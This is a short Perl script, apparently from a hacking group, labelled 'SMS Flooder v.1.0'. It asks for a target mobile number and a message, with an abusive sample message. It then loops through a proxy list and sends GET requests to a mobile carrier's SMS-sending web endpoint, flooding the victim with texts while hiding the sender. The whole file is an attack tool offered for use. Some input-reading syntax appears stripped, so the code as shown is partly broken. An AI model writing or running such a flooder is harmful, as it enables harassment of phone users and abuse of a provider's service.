#!/usr/bin/perl ######################################### # SMS Flooder v.1.0 # # v1z1t www.dhgroup.org for more stuff # ######################################### #Author: D4rkGr3y # ######################################### print "\n\n"; print "[DamageHackingGroup|www.dhgroup.org]\n"; print "#SMS Flooder v.1.0 by D4rkGr3y\n"; $file = "proxy.lst"; use IO::Socket; open (proxy, $file) or die "Error opening file '$file'\n"; print "Enter full mobile number (eq: 790231337):\n"; $number = ; chomp($number); print "Enter your message (eq: Fuck u babe):\n"; $text = ; chomp($text); $url = "http://www.mts.ru/cgi-bin/cgi.exe?function=sms_send&MMObjectType=0&MMObjectID=&To=$number&Msg=$text&Hour=00&Min=00&Day=01&Mon=12&Year=2004&Lang=2"; substr($url, 0, 9999) =~ s/ /%20/g; print "Flooding started...\n"; while () { chomp; ($ip, $port) = split(/[:]/,$_); $socket = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => $port, Proto => "tcp", Type => SOCK_STREAM); if ($socket) { print $socket "GET $url HTTP/1.0\n"; print $socket "Referer: http://www.dhgroup.org\n"; print $socket "User-Agent: SMS Flooder v.666 by Vasya\n"; print $socket "Accept: */*\r\n\r\n"; print "$_: OK\n"; close($socket); } else { print "$_: proxy error\n"; } } print "Complete.\n";